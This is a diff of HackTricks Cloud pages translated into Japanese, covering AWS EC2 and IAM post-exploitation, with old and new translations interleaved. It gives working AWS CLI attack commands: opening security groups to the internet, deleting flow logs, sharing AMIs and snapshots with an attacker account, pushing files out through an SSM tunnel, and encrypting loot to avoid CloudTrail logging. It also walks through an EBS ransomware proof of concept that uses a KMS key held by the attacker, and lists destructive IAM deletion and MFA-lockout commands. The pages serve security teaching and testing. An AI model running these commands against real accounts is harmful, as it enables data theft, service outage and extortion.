### VPC Endpoint Egress Bypass
gateway または interface の VPC endpoint を作成して、分離されたサブネットからのアウトバウンドアクセスを取り戻します。AWS-managed private links を利用することで、IGW/NAT が無い制御をバイパスしてデータ exfiltration を行えます。
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
{{#endref}}
### `ec2:AuthorizeSecurityGroupIngress`
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
ec2:ReplaceNetworkAclEntry（または同等の）権限を持つ攻撃者は、サブネットの Network ACLs (NACLs) を変更して非常に緩い設定にすることができます。例えば、重要なポートで 0.0.0.0/0 を許可すると、サブネット全体の範囲がインターネットや不正なネットワークセグメントにさらされます。Security Groups はインスタンス単位で適用されるのに対し、NACLs はサブネット単位で適用されるため、制限的な NACL を変更すると、はるかに多くのホストへのアクセスが可能になり、被害範囲が大きくなります。
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
```
### `ec2:Delete*`
ec2:Delete* と iam:Remove* 権限を持つ攻撃者は、キーペア、launch templates/versions、AMIs/snapshots、ボリュームやアタッチメント、security groups やルール、ENIs/network endpoints、ルートテーブル、ゲートウェイ、managed endpoints などの重要なインフラリソースや設定を削除できます。これにより即時のサービス停止、データ損失、フォレンジック証拠の喪失が発生する可能性があります。
One example is deleting a security group:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Cross-Account Exfiltration
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外でネットワークメタデータ（送信元/宛先、ポート等）を継続的に収集し、長期的な偵察を行えます。
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外部にネットワークメタデータ（送信元/宛先、ポート）を継続的に収集し、長期的な偵察に利用できます。
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -125,43 +149,43 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
たとえ EC2 を外部通信禁止にしても、**exfil via DNS** は可能です。
たとえ EC2 をロックダウンして外部へのトラフィックを遮断しても、それでも **exfil via DNS** は可能です。
- **VPC Flow Logs はこれを記録しません。**
- AWS の DNS ログにはアクセスできません。
- これを無効化するには "enableDnsSupport" を false に設定します:
- あなたは AWS の DNS ログにアクセスできません。
- これを無効にするには、"enableDnsSupport" を false に設定します（例）:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
攻撃者は自分が制御するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログ内で流出したデータを確認できます。
攻撃者は自身が管理するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログで exfiltrate data を確認できます。
### Open Security Group
このようにポートを開くことでネットワークサービスへのさらなるアクセスを得られます:
このようにポートを開くことで、ネットワークサービスへの追加アクセスを得ることができます:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
EC2インスタンスを実行して登録し、それを使ってECSインスタンスを実行させたあとに、ECSインスタンスのデータを盗むことが可能です。
EC2 インスタンスを起動して、それを ECS インスタンスの実行に使用するよう登録し、ECS インスタンスのデータを盗むことが可能です。
詳細は[**こちらを確認**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs)。
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### VPC flow logs を削除
### VPC flow logs を削除する
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
Required permissions:
必要な権限:
- `ssm:StartSession`
In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
コマンド実行に加えて、SSM はトラフィックのトンネリングを可能にします。これを悪用して、Security Groups や NACLs によりネットワークアクセスがない EC2 インスタンスから pivot することができます。
有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートな EKS クラスターへ pivot するケースです。
> セッションを開始するには SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -170,54 +194,54 @@ One of the scenarios where this is useful is pivoting from a [Bastion Host](http
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する
4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する
4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
5. Bastion EC2 として EKS にログインする:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` を指すように更新する
7. 以下のようにSSMトンネルを作成する:
6. `$HOME/.kube/config` ファイル内の `server` フィールドを `https://localhost` を指すように更新する
7. 次のように SSM トンネルを作成する:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. `kubectl` ツールからのトラフィックは Bastion EC2 経由で SSM トンネルを通して転送されるようになり、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
8. `kubectl` ツールからのトラフィックは現在、Bastion EC2 経由の SSM トンネルを通してフォワードされており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
```shell
kubectl get pods --insecure-skip-tls-verify
```
注意：SSL 接続は `--insecure-skip-tls-verify ` フラグ（または K8s audit tools の同等の設定）を指定しないと失敗します。トラフィックはセキュアな AWS SSM トンネルを経由しているため、MitM 攻撃の心配はありません。
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
最後に、この手法は private EKS clusters を攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットできます。
最後に、この手法は private EKS クラスターを攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションにピボットできます。
---
#### クイック ローカル ↔️ リモート ポート転送 (AWS-StartPortForwardingSession)
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
もし EC2 インスタンスからローカルホストへ **一つの TCP ポートだけを転送** したい場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（リモートホストパラメータは不要です）:
EC2 インスタンスからローカルホストへ**1つの TCP ポートだけを転送**する必要がある場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（remote host パラメータは不要です）：
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
このコマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）の間に双方向トンネルを確立します（**without opening any inbound Security-Group rules**）。
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
よくあるユースケース：
主なユースケース:
* **File exfiltration**
1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易HTTPサーバーを起動します：
1. インスタンス上で、exfiltrate したいディレクトリを指す簡易 HTTP サーバを起動します:
```bash
python3 -m http.server 8000
```
2. ワークステーションからSSMトンネル経由でファイルを取得します：
2. 作業用ワークステーションから SSM トンネル経由でファイルを取得します:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **内部のウェブアプリケーションへのアクセス（例: Nessus）**
* **内部ウェブアプリケーションへアクセス（例: Nessus）**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -225,28 +249,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
ヒント: 証拠は exfiltrating する前に Compress および encrypt しておき、CloudTrail が clear-text content を log しないようにする:
ヒント: 証拠を exfiltrating する前に圧縮して暗号化し、CloudTrail が clear-text content をログに残さないようにしてください:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### AMI を共有する
### AMI を共有
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### 公開およびプライベートな AMIs 内の機密情報を検索する
### パブリックおよびプライベートの AMIs で機密情報を検索
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する** ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、それらのボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は、**パブリックまたはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索する**ためのツールです。対象の AMIs からインスタンスを起動し、ボリュームをマウントして、潜在的なシークレットや機密データをスキャンする処理を自動化します。
### EBS Snapshot を共有する
### EBS Snapshot を共有
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC
S3 post-exploitation notesで示したRansomwareデモに似たproof of conceptです。KMSは、様々なAWSサービスを簡単に暗号化するのに使えることからRMS（Ransomware Management Service）と呼び換えるべきでしょう。
S3 post-exploitation notes で示した Ransomware デモと類似した概念実証です。KMS は、その容易さから Ransomware Management Service（RMS）と呼ぶべきでしょう。さまざまな AWS サービスを暗号化するのに簡単に使えるためです。
まず、'attacker' AWSアカウントからKMSにcustomer managed keyを作成します。この例ではAWSにキーのデータを管理させますが、現実的にはmalicious actorがキー情報をAWSの管理外に保持するでしょう。キーのポリシーを変更して、任意のAWSアカウントPrincipalがキーを使用できるようにします。このキー・ポリシーでは、アカウント名は 'AttackSim' で、すべてのアクセスを許可するポリシールールは 'Outside Encryption' と呼ばれていました。
まず 'attacker' AWS アカウントから、KMS に customer managed key を作成します。この例ではキーのデータは AWS に管理させますが、現実的なシナリオでは悪意のあるアクターがキーのデータを AWS の管理外に保持するでしょう。キーのポリシーを変更して、任意の AWS アカウント Principal がそのキーを使用できるようにします。今回のキー・ポリシーではアカウント名が 'AttackSim' で、全アクセスを許可するポリシールールは 'Outside Encryption' と呼ばれています。
```
{
"Version": "2012-10-17",
@@ -338,7 +362,7 @@ S3 post-exploitation notesで示したRansomwareデモに似たproof of concept
]
}
```
キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるように次が有効になっている必要があります:
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -346,21 +370,21 @@ S3 post-exploitation notesで示したRansomwareデモに似たproof of concept
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Now with the publicly accessible key to use. 'victim' アカウントを使用できます。そこには未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスがいくつか起動しています。暗号化の対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたという想定の下で行われます。
公開アクセス可能なキーが使える状態になったら、アン暗号化された EBS ボリュームがアタッチされた EC2 インスタンスを持つ 'victim' アカウントを利用できます。 この 'victim' アカウントの EBS ボリュームを暗号化の標的にします。この攻撃は、高権限の AWS アカウントが侵害された想定の下で行われます。
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
S3 ransomware の例と同様に、この攻撃ではアタッチされている EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーを使って新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用した snapshots を削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
S3 ransomware の例と類似しています。 この攻撃では、スナップショットを使ってアタッチされている EBS ボリュームのコピーを作成し、'attacker' アカウントの公開されているキーを使って新しい EBS ボリュームを暗号化します。 次に元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化した EBS ボリュームを作成するために使用したスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
その結果、アカウント内には暗号化された EBS ボリュームのみが残ります。
結果として、アカウント内に残るのは暗号化された EBS ボリュームのみになります。
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
また補足として、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の未暗号化ボリュームはすでに消えています。
また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止したことにも注意してください。元の暗号化されていないボリュームは現在消失しています。
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシー ルールを削除します。
次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシールールを削除します。
```json
{
"Version": "2012-10-17",
@@ -431,15 +455,15 @@ S3 ransomware の例と同様に、この攻撃ではアタッチされている
]
}
```
新しく設定したキーのポリシーが伝搬するまで少し待ちます。次に 'victim' アカウントに戻り、新しく暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームをアタッチできることがわかります。
新しく設定した key policy が伝播するのを少し待ちます。次に 'victim' アカウントに戻り、新たに暗号化された EBS ボリュームのうちの1つをアタッチしてみてください。ボリュームをアタッチできることが確認できるでしょう。
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
しかし、暗号化された EBS ボリュームを使って EC2 インスタンスを実際に再起動しようとすると、キーのポリシーがもはや許可していないため、アタッチされている EBS ボリュームをキーで復号できず、インスタンスは 'pending' 状態から 'stopped' 状態に戻り続けて失敗します。
しかし、暗号化された EBS ボリュームを付けたまま EC2 インスタンスを実際に起動しようとすると失敗し、'pending' 状態からずっと 'stopped' 状態に戻ってしまいます。これは、アタッチされた EBS ボリュームを復号するための key が key policy によって許可されなくなっているためです。
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
これは使用した python スクリプトです。'victim' アカウントの AWS creds と、暗号化に使用するための公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な ALL の EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して元の EBS ボリュームをデタッチして削除し、最終的にプロセス中に使用したすべてのスナップショットを削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームのみが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってスナップショットから元の状態に復元することは可能ですが、最終的にはこれは ransomware PoC であることを認識してください。
これは使用した python スクリプトです。スクリプトは 'victim' アカウントの AWS creds と、暗号化に使用する公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な EBS ボリュームのすべてについて暗号化されたコピーを作成し、その後すべての EC2 インスタンスを停止、元の EBS ボリュームをデタッチして削除し、最後に処理で使用したすべての snapshots を削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームだけが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってそれらを復旧し、snapshots 経由で元の状態に戻すことは可能ですが、最終的にはこれは ransomware PoC であることを認識しておいてください。
```
import boto3
import argparse
@@ -558,6 +582,6 @@ main()
```
## 参考資料
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
- [Pentest Partners – AWS の SSM を使ってファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}

58
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
View File

@@ -12,13 +12,13 @@ For more information about IAM access:
## Confused Deputy Problem
もしあなたが **外部アカウント (A)** に自分のアカウント内の **role** へのアクセスを許可すると、**誰が正確にその外部アカウントにアクセスできるか** に関して **0の可視性** を持つことになり得ます。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B もあなたのアカウントにアクセスできる可能性がある**からです。
もしあなたが自分のアカウントの**role**へ**外部アカウント (A) を許可する**と、その外部アカウントに誰が正確にアクセスできるかについておそらく**0の可視性**になります。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B があなたのアカウントにもアクセスできてしまう可能性がある**からです。
したがって、自分のアカウントの role へのアクセスを外部アカウントに許可する際に、`ExternalId` を指定することができます。これは外部アカウント (A) が組織内で assume the role するために指定する必要がある「秘密」の文字列です。外部アカウント B がこの文字列を知らない場合、たとえ B が A へのアクセス権を持っていても、あなたの role にアクセスすることはできません。
したがって、あなたのアカウントのroleへ外部アカウントをアクセスさせる際に、`ExternalId` を指定することができます。これは外部アカウント (A) が**assume the role in your organization**するために**指定する必要がある**「秘密」文字列です。**外部アカウント B はこの文字列を知らない**ため、たとえ B が A にアクセスできても、**あなたのroleにアクセスできません**。
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
ただし、この `ExternalId` の「秘密」は **秘密ではありません**。`IAM assume role policy` を読める人なら誰でもそれを見ることができます。しかし、外部アカウント A がその値を知っていて、外部アカウント **B がそれを知らない** 限り、**B が A を悪用してあなたの role にアクセスするのを防ぐ**ことができます。
ただし、この `ExternalId` の「秘密」は**秘密ではない**点に注意してください。`IAM assume role policy` を**読むことができる人なら誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っており、外部アカウント **B がそれを知らない**限り、**B が A を悪用してあなたのroleにアクセスするのを防ぎます**。
例:
```json
@@ -39,7 +39,7 @@ For more information about IAM access:
}
```
> [!WARNING]
> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で見つける必要がある。
> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を偽装できるかどうかを何らかの方法で特定する必要がある。
### 予期しない信頼関係
@@ -51,7 +51,7 @@ For more information about IAM access:
"Principal": { "AWS": "*" }
}
```
このポリシーは **すべての AWS** がロールを引き受けることを許可します。
このポリシーは **すべての AWS** にロールの引き受けを許可します。
#### サービスをプリンシパルとして
```json
@@ -62,7 +62,7 @@ For more information about IAM access:
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
このポリシーは **任意のアカウントが** 自分の apigateway を構成してこの Lambda を呼び出すことを許可します。
このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出せるようにします。
#### S3 をプリンシパルとして
```json
@@ -73,7 +73,7 @@ For more information about IAM access:
}
}
```
S3 bucket が principal として指定されている場合、S3 buckets は Account ID を持たないため、あなたが **deleted your bucket and the attacker created** それを彼ら自身のアカウントに作成した場合、彼らはこれを悪用する可能性があります。
S3 bucketがプリンシパルとして指定されている場合、S3 bucketはアカウントIDを持たないため、もしあなたが**bucketを削除し攻撃者がそれを作成した**（攻撃者のアカウントで）場合、攻撃者はこれを悪用できる可能性があります。
#### サポートされていません
```json
@@ -84,10 +84,10 @@ S3 bucket が principal として指定されている場合、S3 buckets は Ac
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Confused Deputy 問題を回避する一般的な方法は、発信元の ARN を確認するために `AWS:SourceArn` を条件で使用することです。ただし、**一部のサービスはそれをサポートしていない場合があります**（例：CloudTrail は情報源によってサポートしていないことがあります）。
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **一部のサービスはそれをサポートしていない場合があります**（情報によれば CloudTrail のように）。
### 認証情報の削除
次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つと、担当者はアクセスキー、ログインプロファイル、SSH 鍵、サービス固有の認証情報、インスタンスプロファイル、証明書、CloudFront の公開鍵を削除したり、インスタンスプロファイルからロールを切り離したりできます。これらの操作は正当なユーザーやアプリケーションを直ちにブロックし、これらの認証情報に依存するシステムのサービス停止やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視する必要があります。
次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つアクターは、アクセスキー、ログインプロファイル、SSH キー、サービス固有の資格情報、インスタンスプロファイル、証明書、CloudFront public keys を削除したり、インスタンスプロファイルからロールを切り離したりできます。こうした操作は正当なユーザーやアプリケーションを即座にブロックし、これらの資格情報に依存するシステムに対してサービス拒否（DoS）やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視される必要があります。
```bash
# Remove Access Key of a user
aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### アイデンティティの削除
`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または `iam:RemoveUserFromGroup` のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティとそれに関連する痕跡を削除できます。これにより、そのアイデンティティに依存する人やサービスのアクセスが直ちに断たれ、サービス拒否やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があると、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティや関連する痕跡を取り除くことができます。これは、これらのアイデンティティに依存する人やサービスのアクセスを即座に破壊し、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
```bash
# Delete a user
aws iam delete-user \
@@ -114,8 +114,7 @@ aws iam delete-group \
aws iam delete-role \
--role-name <Role>
```
###
以下の許可のいずれか — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、ロールからポリシーを切り離すことができます。これは認可を破壊し、権限モデルを変更する可能性があり、それらのポリシーに依存していた主体が即座にアクセスを失ったりサービス停止（denial-of-service）を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視されるべきです。
次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、管理済み/インラインのポリシーを削除またはデタッチし、ポリシーのバージョンや permissions boundaries を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりして、これらのポリシーに依存していたプリンシパルが即時にアクセスを失ったりサービス拒否を受けたりする可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
```bash
# Delete a group policy
aws iam delete-group-policy \
@@ -128,7 +127,7 @@ aws iam delete-role-policy \
--policy-name <PolicyName>
```
### フェデレーテッドアイデンティティの削除
`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を持つアクターは、OIDC/SAML の Identity Provider (IdP) を削除したり、client ID を削除したりできます。これによりフェデレーテッド認証が破損し、トークンの検証ができなくなり、IdP または設定が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。
`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML identity providers を削除したりクライアント ID を削除したりできます。これによりフェデレーテッド認証が破壊され、token validation が行えなくなり、IdP または構成が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
@@ -139,7 +138,7 @@ aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### 不正な MFA 有効化
`iam:EnableMFADevice` により、攻撃者はユーザのアイデンティティに MFA デバイスを登録でき、正当なユーザのサインインを阻止できます。一度不正な MFA が有効になると、そのデバイスが削除またはリセットされるまでユーザはロックアウトされる可能性があります（注: 複数の MFA デバイスが登録されている場合、サインインはどれか一つのデバイスで可能なため、この攻撃はアクセス拒否には影響しません）。
`iam:EnableMFADevice` を用いることで、攻撃者はユーザーの識別情報にMFAデバイスを登録でき、正当なユーザーがサインインできなくなる。不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーはロックアウトされる可能性がある（注：複数のMFAデバイスが登録されている場合、サインインにはいずれか1つで足りるため、この攻撃はアクセス拒否には影響しない）。
```bash
aws iam enable-mfa-device \
--user-name <Username> \
@@ -147,8 +146,8 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
### 証明書/鍵のメタデータ改ざん
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, an actor can change status or metadata of public keys and certificates. By marking keys/certificates inactive or altering references, they can break SSH authentication, invalidate X.509/TLS validations, and immediately disrupt services that depend on those credentials, causing loss of access or availability.
### 証明書／キーのメタデータ改ざん
`iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate` を利用すると、公開鍵や証明書のステータスやメタデータを変更できます。鍵／証明書を無効化したり参照を変更したりすることで、SSH認証を破損させ、X.509/TLS の検証を無効化し、これらの認証情報に依存するサービスを即座に中断させて、アクセス喪失や可用性の低下を引き起こす可能性があります。
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
@@ -159,6 +158,33 @@ aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
### `iam:Delete*`
